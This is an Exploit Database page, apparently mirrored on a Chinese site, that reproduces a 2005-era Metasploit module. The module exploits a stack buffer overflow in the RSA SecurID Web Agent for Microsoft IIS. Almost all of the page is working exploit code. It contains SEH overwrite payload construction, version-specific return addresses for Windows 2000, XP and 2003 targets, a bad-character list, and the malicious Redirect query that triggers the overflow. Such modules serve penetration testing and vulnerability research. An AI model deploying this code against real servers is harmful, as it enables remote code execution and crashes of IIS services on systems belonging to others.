Microsoft IIS – ISAPI RSA WebAgent Redirect Overflow (Metasploit)

• Exploit Database
• 9 阅读

• 作者： Metasploit
  日期： 2010-09-20
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16358/

• ##
  # $Id: rsa_webagent_redirect.rb 10394 2010-09-20 08:06:27Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  
  require 'msf/core'
  
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::HttpClient
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Microsoft IIS ISAPI RSA WebAgent Redirect Overflow',
  			'Description'=> %q{
  				This module exploits a stack buffer overflow in the SecurID Web
  				Agent for IIS. This ISAPI filter runs in-process with
  				inetinfo.exe, any attempt to exploit this flaw will result
  				in the termination and potential restart of the IIS service.
  
  			},
  			'Author' => [ 'hdm' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 10394 $',
  			'References' =>
  				[
  					['CVE', '2005-4734'],
  					['OSVDB', '20151'],
  				],
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'Space'=> 1024,
  					'BadChars' => "\x00\x09\x0a\x0b\x0d\x20\x22\x23\x25\x26\x27\x2b\x2f" +
  						(0x3a..0x3f).to_a.pack('C*') + "\x40\x5c" + "Zz",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					# Version-specific return addresses
  					['RSA WebAgent 5.2', { 'Rets' => [ 996, 0x1001e694 ] }],
  					['RSA WebAgent 5.3', { 'Rets' => [ 992, 0x10010e89 ] }],
  
  					# Generic return addresses
  					['RSA WebAgent 5.2 on Windows 2000 English', { 'Rets' => [ 996, 0x75022ac4 ] }],
  					['RSA WebAgent 5.3 on Windows 2000 English', { 'Rets' => [ 992, 0x75022ac4 ] }],
  
  					['RSA WebAgent 5.2 on Windows XP SP0-SP1 English', { 'Rets' => [ 996, 0x71ab1d54 ] }],
  					['RSA WebAgent 5.3 on Windows XP SP0-SP1 English', { 'Rets' => [ 992, 0x71ab1d54 ] }],
  
  					['RSA WebAgent 5.2 on Windows XP SP2 English', { 'Rets' => [ 996, 0x71ab9372 ] }],
  					['RSA WebAgent 5.3 on Windows XP SP2 English', { 'Rets' => [ 992, 0x71ab9372 ] }],
  
  					['RSA WebAgent 5.2 on Windows 2003 English SP0', { 'Rets' => [ 996, 0x7ffc0638 ] }],
  					['RSA WebAgent 5.3 on Windows 2003 English SP0', { 'Rets' => [ 992, 0x7ffc0638 ] }],
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Oct 21 2005'))
  
  		register_options(
  			[
  				OptString.new('URL', [ true,"The path to IISWebAgentIF.dll", "/WebID/IISWebAgentIF.dll" ]),
  			], self.class)
  	end
  
  	def check
  		r = send_request_raw({
  			'uri' => datastore['URL'],
  			'query' => 'GetPic?image=msf'
  		}, -1)
  
  		if (r and r.body and r.body =~ /RSA Web Access Authentication/)
  			return Exploit::CheckCode::Detected
  		end
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  
  		pat = rand_text_alphanumeric(8192).gsub(/\d|Z/i, 'A') # HACK
  		seh = generate_seh_payload(target['Rets'][1])
  		pat[target['Rets'][0]-4, seh.length] = seh
  
  		r = send_request_raw({
  			'uri' => datastore['URL'],
  			'query' => 'Redirect?url=' + pat
  		}, 5)
  
  		handler
  		disconnect
  	end
  
  end